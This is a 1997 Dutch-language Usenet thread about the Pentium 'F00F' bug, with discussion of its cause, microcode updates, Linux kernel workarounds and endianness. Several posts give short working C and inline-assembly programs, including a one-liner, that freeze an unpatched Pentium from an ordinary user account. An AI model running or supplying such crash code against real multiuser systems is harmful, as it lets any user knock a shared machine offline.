Nieuwe Intel Pentium BUG
Onno Hovers
Als je er nog niet over gehoord hebt, er is een nieuwe Intel Pentium BUG.
Daardoor is het vanuit userspace mogelijk om de Pentium helemaal te laten
crashen met 1 instructie.
De bug doet zich voor op de Intel Pentium en de Intel Pentium MMX. De
bug doet zich niet voor op de Intel Pentium Pro, de Intel Pentium II,
de chips van AMD, Cyrix e.d.
Deze bug is alleen van belang voor sommige mensen die een multiuser (shell)
systeem draaien op een Intel Pentium. Op zo'n systeem kan elke user
het systeem crashen.
De exploit is:
--------------------------- KNIP ---------------------------
char c[5]={ 0xF0, 0x0F, 0xC7, 0xC8 };
main()
{
void (*f)()=(void*)c;
f();
}
--------------------------- KNIP ---------------------------
Groetjes, Onno
--
/* < >-> Onno Hovers (on...@stack.nl http://www.stack.nl/~onno/)
Student physics at the University of Technology Eindhoven
No, I do not want ANY unsollicited bulk e-mail | Intel Pentium Inside?
*/ char c[5]={0xF0,0x0F,0xC7,0xC8};main(){void (*f)()=(void*)c;f();}
Bill Stegers
On Sat, 08 Nov 1997 22:08:31 GMT, Niels Basjes <Ni...@Basjes.nl.no.spamming>
>wrote: The life form known as Onno Hovers <on...@surfer.xs4all.nl> wrote:
>
>>Als je er nog niet over gehoord hebt, er is een nieuwe Intel Pentium BUG.
>>Daardoor is het vanuit userspace mogelijk om de Pentium helemaal te laten
>>crashen met 1 instructie.
>>
>>De bug doet zich voor op de Intel Pentium en de Intel Pentium MMX. De
>>bug doet zich niet voor op de Intel Pentium Pro, de Intel Pentium II,
>>de chips van AMD, Cyrix e.d.
>
>gewoon een ongeldige opcode ??
Hier is een C-progje dat je bewuste instructie door de CPU laat uitvoeren:
char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
main ()
{
void (*f)() = x;
f();
}
--
Bill Stegers <bste...@dds.nl>
PGP-key available at public key servers
Powered by Linux 2.0
Dick Streefland
Onno Hovers <on...@surfer.xs4all.nl> wrote:
| De exploit is:
| --------------------------- KNIP ---------------------------
| char c[5]={ 0xF0, 0x0F, 0xC7, 0xC8 };
|
| main()
| {
| void (*f)()=(void*)c;
|
| f();
| }
| --------------------------- KNIP ---------------------------
En de geoptimaliseerde versie:
long main = 0xc8c70ff0;
Dick
--
Dick Streefland //// De Bilt
dick.st...@inter.nl.net (@ @) The Netherlands
------------------------------oOO--(_)--OOo------------------
Rob Janssen
In <slrn66anm...@kidcom.sleepnet> bi...@kidcom.sleepnet (Bill Stegers) writes:
>On Sat, 08 Nov 1997 22:08:31 GMT, Niels Basjes <Ni...@Basjes.nl.no.spamming>
>>wrote: The life form known as Onno Hovers <on...@surfer.xs4all.nl> wrote:
>>
>>>Als je er nog niet over gehoord hebt, er is een nieuwe Intel Pentium BUG.
>>>Daardoor is het vanuit userspace mogelijk om de Pentium helemaal te laten
>>>crashen met 1 instructie.
>>>
>>>De bug doet zich voor op de Intel Pentium en de Intel Pentium MMX. De
>>>bug doet zich niet voor op de Intel Pentium Pro, de Intel Pentium II,
>>>de chips van AMD, Cyrix e.d.
>>
>>Even heel nieuwsgierig: wat voor instructie zou dit moeten zijn of is het
>>gewoon een ongeldige opcode ??
>Hier is een C-progje dat je bewuste instructie door de CPU laat uitvoeren:
>char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
>main ()
>{
> void (*f)() = x;
> f();
>}
Ja dat stond er al, slimmerd. Dat was de vraag toch helemaal niet??
Rob
--
+----------------------------------+--------------------------------------+
| Rob Janssen pe1...@amsat.org | WWWhome: http://www.pe1chl.demon.nl/ |
| AMPRnet: r...@pe1chl.ampr.org | AX.25 BBS: PE1CHL@PI8WNO.#UTR.NLD.EU |
+----------------------------------+--------------------------------------+
Johan Wevers
Bill Stegers <bste...@dds.nl> wrote:
>Hier is een C-progje dat je bewuste instructie door de CPU laat uitvoeren:
Dat zat al in het originele bericht ja.
>char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
>
>main ()
>{
> void (*f)() = x;
>
> f();
>}
Hmmm. Eens kijken: je probeert een functie f te laden vanaf het adres waar x
naar toe wijst, en daar staan dan 4 instructies. Dit lijkt me een methode om
via een omweg toch nog direct assemblercodes uit te voeren. hetzelfde idee
als POKE en PEEK in C64 Basic.
Alleen, als je dit met -Wall compileert krijg je, i.t.t. bij het originele
programma van Onno, ook te zien wat je doet omdat hierin de cast van x naar
void* weggelaten is:
bug.c: In function `main':
bug.c: 5: warning: initialization from incompatible pointer type
bug.c: 8: warbing: control reaches end of non-void function
De eerste warning valt weg als je die void* cast weer terugzet.
--
ir. J.C.A. Wevers // For Physics and science fiction information:
joh...@vulcan.xs4all.nl // http://www.xs4all.nl/~johanw/index.html
Finger joh...@xs4all.nl for my PGP public key. PGP-KeyID: 0xD42F80B1
Miquel van Smoorenburg
In article <EJDo...@vulcan.xs4all.nl>,
Johan Wevers <joh...@vulcan.xs4all.nl> wrote:
>Bill Stegers <bste...@dds.nl> wrote:
>
>>Hier is een C-progje dat je bewuste instructie door de CPU laat uitvoeren:
>
>Dat zat al in het originele bericht ja.
>
>>char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
>>
>>main ()
>>{
>> void (*f)() = x;
>>
>> f();
>>}
>
>Hmmm. Eens kijken: je probeert een functie f te laden vanaf het adres waar x
>naar toe wijst, en daar staan dan 4 instructies. Dit lijkt me een methode om
>via een omweg toch nog direct assemblercodes uit te voeren. hetzelfde idee
>als POKE en PEEK in C64 Basic.
Je kan ook gewoon doen:
int main()
{
__asm__(".byte 0xf0, 0x0f, 0xc7, 0xc8");
}
Veel cleaner..
Mike.
--
Miquel van | Cistron Internet Services -- Alphen aan den Rijn.
Smoorenburg, | mailto:in...@cistron.nl http://www.cistron.nl/
miq...@cistron.nl | PTT's Het Net: Surfen in de gootsteen! <*>
Bill Stegers
On Sun, 9 Nov 1997 09:57:03 GMT, Rob Janssen <rob@pe1chl> wrote:
>
>>Hier is een C-progje dat je bewuste instructie door de CPU laat uitvoeren:
>
>
>>main ()
>>{
>> void (*f)() = x;
>
>> f();
>>}
>
>
Dank je voor de correctie, je hebt helemaal gelijk.
Johan Wevers
Miquel van Smoorenburg <miq...@cistron.nl> wrote:
>Je kan ook gewoon doen:
>
>int main()
>{
> __asm__(".byte 0xf0, 0x0f, 0xc7, 0xc8");
>}
Dit slikt m'n DOS compiler niet, het voorgaande wel. En dit soort trucs test
ik liever onder DOS dan onder Linux...
(Het werkt trouwens wel, m'n systeem was morsdood nadat ik dit probeerde.
Ook onder Linux (nadat ik eerst als root sync gedraaid had en dit als user
opgestart heb)).
Onno Hovers
si...@msh.xs4all.nl wrote:
> In article <346de29f.5325087@news>,
> Niels Basjes <Ni...@Basjes.nl.no.spamming> wrote:
> Date: 7 Nov 1997 07:17:44 GMT
> From: Sam Trenholme <set-usenet...@reality.samiam.org>
> Newsgroups: nl.comp.hardware,nl.comp.os.linux
?????????????????????????????????
> Subject: F0 0F C7 C8 looks worse than FPIV
> >Cool. It also works (sic) from V86 mode, so if you want to play around, just
> >use DOS debug under whatever DOS emulator the OS you are using provides.
> >Anyone try it on a Pentium MMX?
> This bug looks far worse that FPIV. Intel will probably be forced to
> undergo an expensive recall, although I wonder just how Intel plans on
> getting the broken Pentium on my IBM thinkpad fixed. I like to let
> co-workers access my machine when it is hooked up to the network at work,
> and will have to now severely restrict any such access.
> - Sam
Ik denk dat deze bug echt niet zo erg is als de FDIV bug. Er zijn meer
processors die vaanuit usermode te crashen zijn, zoals de 386 (de popad
bug), de Cyrix 686, en sommige Sparc processors.
Als er een bug in een processor zou zitten, die het mogelijk maakt om
vanuit usermode in supervisormode te komen, dan zou de fabrikant wel
goed nat zijn.
si...@msh.xs4all.nl
In article <346de29f.5325087@news>,
Niels Basjes <Ni...@Basjes.nl.no.spamming> wrote:
[stuff deleted]
>Even heel nieuwsgierig: wat voor instructie zou dit moeten zijn of is het
>gewoon een ongeldige opcode ??
Er is wat ze noemen 'a flurry of activity' op de BUGTRAQ mailing list
over deze bug. Hieronder sluit ik een message bij waarin het gevraagde
staat.
>Niels.
CU, Sico.
========================================================================
Message-ID: <Pine.LNX.3.96.97110...@zombie.nws.net>
Date: Fri, 7 Nov 1997 03:10:29 +0000
Reply-To: ZombieMan <li...@ZOMBIE.NWS.NET>
Sender: Bugtraq List <BUG...@NETSPACE.ORG>
From: ZombieMan <li...@ZOMBIE.NWS.NET>
Subject: WARNING: Linux Intel Pentium Bug
To: BUG...@NETSPACE.ORG
Status: RO
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mi...@docserver.cac.washington.edu for more info.
--1091315987-1780054146-878872229=:269
Content-Type: TEXT/PLAIN; charset=US-ASCII
This Program was distributed in the newsgroups and on irc so i thought i
would post it here....
(prog attached)
>From ro...@zombie.nws.net Fri Nov 7 03:05:43 1997
Date: Fri, 07 Nov 1997 03:04:25 +0000
From: "root of all evil (ZombieMan)" <ro...@zombie.nws.net>
To: root@zombie
Subject: [Fwd: This code will lock up any P5 machine, even usermode Linux! (F0 0F C7 C8)]
[ Part 2: "Included Message" ]
Date: 6 Nov 1997 21:53:13 -0800
From: Tim Smith <t...@halcyon.com>
Newsgroups: nl.comp.hardware,nl.comp.os.linux
Subject: Re: This code will lock up any P5 machine, even usermode Linux! (F0 0F C7 C8)
[Added comp.sys.intel]
In article <3462AD...@noname.com>, <non...@noname.com> wrote:
> Check this out. If you execute F0 0F C7 C8 on a P5 it will lock the
>machine up. This is true for any operating system including usermode
>Linux. It's pretty cool. Basically, the opcodes are an invalid form of
>cmpxchg8b eax with a lock prefix. Has anyone seen this before? The
>problem doesn't show itself for the Pentium Pro or Pentium 2.
Cool. It also works (sic) from V86 mode, so if you want to play around, just
use DOS debug under whatever DOS emulator the OS you are using provides.
Anyone try it on a Pentium MMX?
--Tim Smith
>From ro...@zombie.nws.net Fri Nov 7 03:05:48 1997
Date: Fri, 07 Nov 1997 03:04:41 +0000
From: "root of all evil (ZombieMan)" <ro...@zombie.nws.net>
To: root@zombie
Subject: [Fwd: This code will lock up any P5 machine, even usermode Linux! (F0 0F C7 C8)]
[ Part 2: "Included Message" ]
Date: Thu, 06 Nov 1997 21:57:33 -0800
From: non...@noname.com
Newsgroups: nl.comp.hardware,nl.comp.os.linux
Subject: This code will lock up any P5 machine, even usermode Linux! (F0 0F C7 C8)
Hi,
Check this out. If you execute F0 0F C7 C8 on a P5 it will lock
the machine up. This is true for any operating system including usermode
Linux. It's pretty cool. Basically, the opcodes are an invalid form of
cmpxchg8b eax with a lock prefix. Has anyone seen this before? The
problem doesn't show itself for the Pentium Pro or Pentium 2.
>From ro...@zombie.nws.net Fri Nov 7 03:05:53 1997
Date: Fri, 07 Nov 1997 03:04:57 +0000
From: "root of all evil (ZombieMan)" <ro...@zombie.nws.net>
To: root@zombie
Subject: [Fwd: F0 0F C7 C8 looks worse than FPIV]
[ Part 2: "Included Message" ]
Date: 7 Nov 1997 07:17:44 GMT
From: Sam Trenholme <set-usenet...@reality.samiam.org>
Newsgroups: nl.comp.hardware,nl.comp.os.linux
Boudewijn W. Ch. Visser
Ni...@Basjes.nl.no.spamming (Niels Basjes) writes:
>The life form known as Onno Hovers <on...@surfer.xs4all.nl> wrote:
>>Als je er nog niet over gehoord hebt, er is een nieuwe Intel Pentium BUG.
>>Daardoor is het vanuit userspace mogelijk om de Pentium helemaal te laten
>>crashen met 1 instructie.
>>
>>De bug doet zich voor op de Intel Pentium en de Intel Pentium MMX. De
>>bug doet zich niet voor op de Intel Pentium Pro, de Intel Pentium II,
>>de chips van AMD, Cyrix e.d.
>Even heel nieuwsgierig: wat voor instructie zou dit moeten zijn of is het
>gewoon een ongeldige opcode ??
(uit comp.sys.intel)
Basically, the opcodes are an invalid form of cmpxchg8b eax with a lock prefix.
Pentium microcode schijnt updateble te zijn; Misschien dat daar een oplossing
uit komt.
Boudewijn
--
+-------------------------------------------------------------------+
|Boudewijn Visser |E-mail:vis...@ph.tn.tudelft.nl |finger for |
|Dep. of Applied Physics,Delft University of Technology |PGP-key |
+-- my own opinions etc --------------------------------------------+
Bill Stegers
On 9 Nov 1997 15:03:02 +0100, Miquel van Smoorenburg <miq...@cistron.nl> wrote:
>In article <EJDo...@vulcan.xs4all.nl>,
>Johan Wevers <joh...@vulcan.xs4all.nl> wrote:
>>
>
>Je kan ook gewoon doen:
>
>int main()
>{
> __asm__(".byte 0xf0, 0x0f, 0xc7, 0xc8");
>}
>
Bedankt Mike,
Deze begrijp ik tenminste. Die andere die ik poste was niet van mezelf maar
kwam van BUGTRAQ maar dat was ik er vergeten bij te zetten.
Boudewijn W. Ch. Visser
Niels Basjes <Bas...@nlr.nl> writes:
>Boudewijn W. Ch. Visser wrote:
[...]
>Je wil toch niet beweren dat er een soort van flash ROM op zo'n chip zit
>!?!?!?
Godver..
Niels, ik dacht dat jij iemand was die beter wist dan te posten en mailen.
En ja, Pentium microcode is (volgens diverse berichten) te updaten.
Of dat als flash gaat of update tot een powerdown is weet ik niet.
Niels Basjes
Boudewijn W. Ch. Visser wrote:
> >Even heel nieuwsgierig: wat voor instructie zou dit moeten zijn of is het
> >gewoon een ongeldige opcode ??
>
> (uit comp.sys.intel)
> Basically, the opcodes are an invalid form of cmpxchg8b eax with a lock prefix.
Aha, het is dus een invalid opcode en niet iets als de LOADALL
instructie (286/386),
dat was namelijk een instructie bedoeld om de CPU testen.
> Pentium microcode schijnt updateble te zijn; Misschien dat daar een oplossing
> uit komt.
Je wil toch niet beweren dat er een soort van flash ROM op zo'n chip zit
!?!?!?
Niels.
--
================================================================
| ir. Niels Basjes | National Aerospace Laboratory |
| Phone : +31-20-5113626 | Anthony Fokkerweg 2 |
| E-Mail@NLR : Bas...@NLR.nl | 1059 CM Amsterdam |
| E-Mail@Home: Ni...@Basjes.nl | The Netherlands |
================================================================
M.H. Sprang
Boudewijn W. Ch. Visser <vis...@ph.tn.tudelft.nl> wrote in article
> En ja, Pentium microcode is (volgens diverse berichten) te updaten.
> Of dat als flash gaat of update tot een powerdown is weet ik niet.
>
Voor zover ik weet, zit er een stukje RAM in de Pentium, en moet de
extra/nieuwe microcode geladen worden door bv. de BIOS
Meindert
Rob Janssen
Dat gaat over de Pentium II en de Pentium Pro, en die hebben nou net geen
last van die bug.
Eric Boon
miq...@cistron.nl (Miquel van Smoorenburg) writes:
[C prog om P5 te laten crashen]
>Je kan ook gewoon doen:
>
>int main()
>{
> __asm__(".byte 0xf0, 0x0f, 0xc7, 0xc8");
>}
>
>Veel cleaner..
Mja, maar ik vond de oplossing 'long main=0xc8c70ff0;'
toch meer stijl hebben :-)
--
Eric Boon <er...@cs.kun.nl>
-This .signature was intentionally left blank-
Claude Lecompte
Niels Basjes wrote in message <3469a4e6.7222905@news>...
>The life form known as rob@pe1chl (Rob Janssen) wrote:
>
>[News,CC-Mail]
>
>>>Voor zover ik weet, zit er een stukje RAM in de Pentium, en moet de
>>>extra/nieuwe microcode geladen worden door bv. de BIOS
>>
>>Dat gaat over de Pentium II en de Pentium Pro, en die hebben nou net geen
>>last van die bug.
>
>Waar is dat stukje RAM voor bedoeld ??
Het dient om een "fouttolerantie" in te bouwen. Verkeerde microcode wordt
even gepatched via het voornoemde systeem(BIOS) en klaar is Kees. Intel
heeft wel degelijk geleerd van vorige fouten: laat de menigte de fouten
oplossen!
>
>Niels.
>==========- Niels Basjes -==========
>Mail: Ni...@Basjes.nl
>WWW : http://www.wirehub.nl/~basjesn
>Check homepage for 2048-PGP 2.6 key.
>====================================
> "I doubt,therefore I might be"
>==========> NO SPAMMING! <==========
Robrecht Jacques
er...@cs.kun.nl (Eric Boon) writes:
> miq...@cistron.nl (Miquel van Smoorenburg) writes:
> >int main()
> >{
> > __asm__(".byte 0xf0, 0x0f, 0xc7, 0xc8");
> >}
> >
> >Veel cleaner..
>
> Mja, maar ik vond de oplossing 'long main=0xc8c70ff0;'
> toch meer stijl hebben :-)
Wat is de reden dat de bytes in een andere volgorde staan? Ik zou
verwachten dat je 'long main=0xf00fc7c8;' zou moeten schrijven.
Verklaring of tikfout (of zijn er meerdere 4-byte programma's die een chip
kunnen doen crashen) ?
R
Marcel van Kervinck
Pentiums hebben een rare endianness, die zijn oorsprong heeft bij
8 bits processors. Destijds was het handig om het minst significante
deel van een getal (dat breder is dan je bus) voorop te zetten.
Bij optellingen heb je die namelijk als eerste nodig, zodat de
carry (overdracht) bekend is op het moment dat je het tweede stuk
van de optelling doet. Optellingen komen nogal eens voor in de
instructie set, denk maar aan relatieve sprongen en geheugentoegang.
Tegenwoordig is het gewoon flauwekul en maakt de volgorde niet meer
zoveel uit voor je computer architectuur. Je zuigt toch die 32 of
64 bits in 1 keer naar binnen. Maar ja, we willen natuurlijk allemaal
nog die 8008 programma's draaien op onze pentium, want we zijn te
lui om voor een nieuwe machine programma's opnieuw te compileren.
Of we hebben ze uit efficientie in assembler geschreven, en denken
dan dat die machinetaal ook direct op onze nieuwe 64bit 760MHz 4GB
machines goed draait. Precies daarom wordt de volgorde nu nog
steeds omgedraaid.
Er zijn trouwens allerlei varianten in omloop om 32 bit getallen
op byte addressable machines op te slaan. Het getal 0x11223344 zie
je wel eens als {0x11, 0x22, 0x33, 0x44}, als {0x33, 0x44, 0x11,
0x22}, of {0x44, 0x33, 0x22, 0x11} of {0x22, 0x11, 0x44, 0x33}.
Dat is vooral prettig als je een netwerkprotocol implementeert
dat met verschillende architecturen moet kunnen praten. Vandaar
ook dat pentium vol zit met instructies om met bytes te jongleren.
Het wordt tijd voor de doorbraak van 64 bits machines, dan krijgen
we er vast weer 4 leuke combinaties bij.
Marcel
-- _ _
_| |_|_|
|_ |_ Marcel van Kervinck
|_| mar...@stack.nl
Rob Janssen
In <64cpjh$g5p$1...@xenon.inbe.net> Pros Robaer <pr...@innet.be.cut.this.tail> writes:
>On Tue, 11 Nov 1997, Rob Janssen wrote:
> > >> En ja, Pentium microcode is (volgens diverse berichten) te updaten.
> > >> Of dat als flash gaat of update tot een powerdown is weet ik niet.
> > >Voor zover ik weet, zit er een stukje RAM in de Pentium, en moet de
> > >extra/nieuwe microcode geladen worden door bv. de BIOS
> > Dat gaat over de Pentium II en de Pentium Pro, en die hebben nou net geen
> > last van die bug.
>Klopt. Ik krijg (PII) enkel de vermelding: "Illegal instruction"
>En ik denk niet dat Intel zo bereidwillig zal zijn om alle buggy-CPU's
>te vervangen, zoals dat het geval was met die FDIV-geschiedenis. De
>hele kwestie zal hun geen goed doen, vrees ik...
Het lijkt er op dat Intel nog steeds niet geleerd heeft...
In plaats van meteen te zeggen "ok er is een fout we gaan jullie helpen
het op te lossen" begint men eerst weer te boel te bagatelliseren,
vertragingstactiek toe te passen, etc.
En dat terwijl er systemen staan te draaien die nu heel simpel te
saboteren zijn. Heel wat ernstiger dan dat FDIV probleem.
DDX
> Het lijkt er op dat Intel nog steeds niet geleerd heeft...
> In plaats van meteen te zeggen "ok er is een fout we gaan jullie helpen
> het op te lossen" begint men eerst weer te boel te bagatelliseren,
> vertragingstactiek toe te passen, etc.
>
> En dat terwijl er systemen staan te draaien die nu heel simpel te
> saboteren zijn. Heel wat ernstiger dan dat FDIV probleem.
en er komt binnenkort ook een patch voor de 2.0.31 kernel
Gerhard Ahuis
On 9 Nov 1997 21:53:39 +0100, Onno Hovers <on...@surfer.xs4all.nl>
wrote:
>Ik denk dat deze bug echt niet zo erg is als de FDIV bug. Er zijn meer
>processors die vaanuit usermode te crashen zijn, zoals de 386 (de popad
>bug), de Cyrix 686, en sommige Sparc processors.
>Als er een bug in een processor zou zitten, die het mogelijk maakt om
>vanuit usermode in supervisormode te komen, dan zou de fabrikant wel
>goed nat zijn.
>
Is er ergens een overzicht van al deze bugs ?
--
Gerhard Ahuis JO32EO It's good to be independent
pe1...@amsat.org 145,550 MHz Linux the Ultimate HAM OS
Unsolicited advertisements subject to $1000 consulting fee.
Onno Hovers
Marcel van Kervinck <mar...@stack.nl> wrote:
> > Wat is de reden dat de bytes in een andere volgorde staan? Ik zou
> > verwachten dat je 'long main=0xf00fc7c8;' zou moeten schrijven.
> > Verklaring of tikfout (of zijn er meerdere 4-byte programma's die een chip
> > kunnen doen crashen) ?
> Pentiums hebben een rare endianness, die zijn oorsprong heeft bij
> 8 bits processors. [.....] Precies daarom wordt de volgorde nu nog
> steeds omgedraaid.
GoAT!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Uit de glossary van Programming PERL:
big-endian
----------
From Swift: someone who eats boiled eggs big end first.
Also used of computers that store the most significant
byte of a word at a lower byte address than the least
significant byte. Often considered superior to
little-endian machines. See also *little-endian*
little-endian
-------------
From Swift: someone who eats boiled eggs little end first.
Also used of computers that store the least significant
byte of a word at a lower byte address than the most
significant byte. Often considered superior to
big-endian machines. See also *big-endian*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Al die andere rare volgorden, die je noemt, zijn niet meer
in gebruik bij moderne computers.
Ik vind persoonlijk little-endian logischer omdat
doubleword = byte[0] * 256 ^ 0 +
byte[1] * 256 ^ 1 +
byte[2] * 256 ^ 2 +
byte[3] * 256 ^ 3
Terwijl bij big-endian machines:
doubleword = byte[0] * 256 ^ 3 +
byte[1] * 256 ^ 2 +
byte[2] * 256 ^ 1 +
byte[3] * 256 ^ 0
Maar big-endian sluit meer aan op de manier waarop we getallen
schrijven en sorteren. Bij getallen en sorteren staat in de westerse
wereld het meest significante teken altijd vooraan. Maar dat is niet
iets logisch, dat is een standaard die door de geschiedenis gegroeid is.
Onno Hovers
--
ben...@xs4all.nl
In nl.comp.os.linux M.H. Sprang <mhsp...@customware.nl> wrote:
> Boudewijn W. Ch. Visser <vis...@ph.tn.tudelft.nl> wrote in article
>> En ja, Pentium microcode is (volgens diverse berichten) te updaten.
>> Of dat als flash gaat of update tot een powerdown is weet ik niet.
>>
> Voor zover ik weet, zit er een stukje RAM in de Pentium, en moet de
> extra/nieuwe microcode geladen worden door bv. de BIOS
ondertussen zijn er fixes voor 2.1.xx en voor 2.0.31 is er een prepatch
beschikbaar.
--
Grobbebol's Home | Don't give in to spammers.
http://www.xs4all.nl/~bengel | Use your real e-mail address
Linux 2.0.31 on an i586/64 MB | on Usenet.
Danny ter Haar
In article <64htmh$m6n$1...@grobbebol.xs4all.nl>, <ben...@xs4all.nl> wrote:
>ondertussen zijn er fixes voor 2.1.xx en voor 2.0.31 is er een prepatch
>beschikbaar.
/pub/linux/kernel/v2.1
19502 Nov 13 11:47 pre-patch-2.1.64-1
5688 Nov 13 15:31 f00f_2.1.63.patch
/pub/linux/kernel/v2.0
34902 Nov 14 01:39 pre-patch-2.0.32-4.gz.maybe
de 2.0.43-4 patch biedt tegelijk ook weerstand tegen de
fragment overlap attacks.
Loopt als een trein..
Danny
--
Danny ter Haar | Cistron Internet Services | Unix & Internet
d...@het.net | finger d...@cistron.nl for PGP-key | specialists
== where do you want to go tomorrow ? linux axp www.debian.org ==
warp
ben...@xs4all.nl wrote:
>
> In nl.comp.os.linux M.H. Sprang <mhsp...@customware.nl> wrote:
> > Boudewijn W. Ch. Visser <vis...@ph.tn.tudelft.nl> wrote in article
>
> >> En ja, Pentium microcode is (volgens diverse berichten) te updaten.
> >> Of dat als flash gaat of update tot een powerdown is weet ik niet.
> >>
> > Voor zover ik weet, zit er een stukje RAM in de Pentium, en moet de
> > extra/nieuwe microcode geladen worden door bv. de BIOS
>
> beschikbaar.
Gelukkig heb ik een DEC Alpha ;-)
Groetjes,
Antoine
Rob Janssen
In <slrn66phg...@hamal.island.nl> r...@rigel.nl (Rob S. Wolfram) writes:
>Wat ik onlogisch vind aan de little endian storage is dat de bytes zelf
>_wel_ big endian worden gerepresenteerd. Als je nu een 32 bits waarde
>little endian opslaat zijn bits 7 en 8 niet naast elkaar, zo ook bits
>15 en 16, en bits 23 en 24. De opslag (in bitnummers) wordt dus:
>7,6..1,0,15..8,23..16,31..24 , en dat noem je logisch? Als je in een
>big-endian systeem met een woordgrootte van 32 bits, een waarde van 128
>bits wilt weergeven, dan is de volgorde op bitniveau opvolgend met de
>msb uiterst links en de lsb uiterst rechts.
Dit is alleen zo bij het printen. De bits zelf worden wel little-endian
geaddresseerd: het minst significante bit noemt men 0.
In feite kun je stellen dat het pas echt onlogisch wordt als je machine
big-endian is, maar de bits worden genummerd van 0 af bij het
minst-significante bit te beginnen. Dan zijn je bits little-endian en
je bytes big-endian! Motorola doet het bijvoorbeeld zo. Heel vreemd.
(ik geloof dat IBM op de mainframes, die ook big-endian zijn, de bits
van het meest significante bit af nummert. Dat is in ieder geval logisch,
maar legt ook meteen de vinder op de zere plek van big-endian: als je "bit 1"
hebt weet je pas wat de numerieke waarde van dat bit is als je ook het totaal
aantal bits kent. het zelfde probleem heb je met big-endian als je een
byte uit memory haalt. little-endian is gewoon veel logischer.)
ben...@xs4all.nl
In nl.comp.os.linux Danny ter Haar <d...@cistron.nl> wrote:
> de 2.0.43-4 patch biedt tegelijk ook weerstand tegen de
> fragment overlap attacks.
> Loopt als een trein..
correct; prepatch-5 is op ftp.kernel.org te vinden ook; werkt hier.
--
Grobbebol's Home | Don't give in to spammers.
http://www.xs4all.nl/~bengel | Use your real e-mail address
Linux 2.0.32-5 on an i586/64 MB | on Usenet.
Rob S. Wolfram
On 13 Nov 1997 19:29:33 +0100, Onno Hovers <on...@surfer.xs4all.nl> wrote:
>Ik vind persoonlijk little-endian logischer omdat
>doubleword = byte[0] * 256 ^ 0 +
> byte[1] * 256 ^ 1 +
> byte[2] * 256 ^ 2 +
> byte[3] * 256 ^ 3
>
>Terwijl bij big-endian machines:
>doubleword = byte[0] * 256 ^ 3 +
> byte[1] * 256 ^ 2 +
> byte[2] * 256 ^ 1 +
> byte[3] * 256 ^ 0
>
>Maar big-endian sluit meer aan op de manier waarop we getallen
>schrijven en sorteren. Bij getallen en sorteren staat in de westerse
>wereld het meest significante teken altijd vooraan. Maar dat is niet
>iets logisch, dat is een standaard die door de geschiedenis gegroeid is.
Wat ik onlogisch vind aan de little endian storage is dat de bytes zelf
_wel_ big endian worden gerepresenteerd. Als je nu een 32 bits waarde
little endian opslaat zijn bits 7 en 8 niet naast elkaar, zo ook bits
15 en 16, en bits 23 en 24. De opslag (in bitnummers) wordt dus:
7,6..1,0,15..8,23..16,31..24 , en dat noem je logisch? Als je in een
big-endian systeem met een woordgrootte van 32 bits, een waarde van 128
bits wilt weergeven, dan is de volgorde op bitniveau opvolgend met de
msb uiterst links en de lsb uiterst rechts.
--
Rob S. Wolfram r...@rigel.nl http://www.rigel.nl/~rsw
=========================================================================
L I N U X : T H E C H O I C E O F A G N U G E N E R A T I O N
=========================================================================
Replace the starname in the address by 'mcs' to reply by email.
Johan Wevers
<ben...@xs4all.nl> wrote:
>ondertussen zijn er fixes voor 2.1.xx en voor 2.0.31 is er een prepatch
>beschikbaar.
Even een vraagje over prepatches in hetb algemaan: als ik allerlei losse
prepatches ga installeren, en dan straks de echte 2.0.32 patch ophaal, moet
ik dan de complete kernel sources weer installeren van CD en dan de 2.0.31
en 2.0.32 patches erop loslaten, of kan ik die 2.0.32 patch gewoon op een al
voorbewerkte 2.0.31 kernel loslaten?
Rob Janssen
In <64l7nt$8...@turtle.stack.nl> mar...@stack.nl (Marcel van Kervinck) writes:
>Rob Janssen (rob@pe1chl) wrote:
>> Dit is alleen zo bij het printen. De bits zelf worden wel little-endian
>> geaddresseerd: het minst significante bit noemt men 0.
>Niet in Cray. Die geven het meest significante bit van een woord
>nummertje 0.
Waarom hak je nou 1 regeltje uit mijn artikel en schrijf je er zo iets bij?
Dat artikel zette juist uiteen dat er ook systemen zijn waarin de bits
big-endian genummerd zijn.
Hans Paijmans
On Mon, 17 Nov 1997 10:58:09 +0100, L.C. van der Mee <vd...@xirion.nl> wrote:
>ben...@xs4all.nl wrote:
>
>> ondertussen zijn er fixes voor 2.1.xx en voor 2.0.31 is er een prepatch
>> beschikbaar.
>
Du hast Recht und wir haben unsere Ruhe...
--
KUB-University Tilburg, the Netherlands (+31) (0)13-4662693
Home: Elzenstraat 1, 5581 VS Waalre, the Netherlands (+31) (0)40-2230680
http://pi0959.kub.nl:2080/paai.html http://purl.oclc.org/NET/PAAI/
ben...@xs4all.nl
In nl.comp.os.linux Johan Wevers <joh...@vulcan.xs4all.nl> wrote:
> Even een vraagje over prepatches in hetb algemaan: als ik allerlei losse
> prepatches ga installeren, en dan straks de echte 2.0.32 patch ophaal, moet
> ik dan de complete kernel sources weer installeren van CD en dan de 2.0.31
> en 2.0.32 patches erop loslaten, of kan ik die 2.0.32 patch gewoon op een al
> voorbewerkte 2.0.31 kernel loslaten?
je kunt de patch reversen of opnieuw de kernel installeren. ikzelf reverse
altijd voordat ik een nieuwe patch los laat. (de kernel patches zijn geen
incremental patches maar complete patches, maw van 2.0.31 naar 2.0.32-pre-5
is een single patch.
ben...@xs4all.nl
>> ondertussen zijn er fixes voor 2.1.xx en voor 2.0.31 is er een prepatch
>> beschikbaar.
> Een workaround, geen fix.
't is maar hoe je 't noemt. het fix't de crash. niet de chip's bug. oh well.
L.C. van der Mee
ben...@xs4all.nl wrote:
> ondertussen zijn er fixes voor 2.1.xx en voor 2.0.31 is er een prepatch
> beschikbaar.
Een workaround, geen fix.
Leo, die voor zichzelf spreekt <----- disclaimer voor Rob J.
--
And if you wrong us shall we not revenge?
- William Shakespeare
L.C. van der Mee
robert wrote:
> En als je het beste (ahum) van twee werelden wilt combineren, moet je eens
> op http://www.L0pht.com/advisories.html kijken, waar ze een nieuwe IE4.0
> bug met die Pentium bug combineren.
Op dezelfde page kun je lezen dat er al een fix is voor die bufferoverrun.
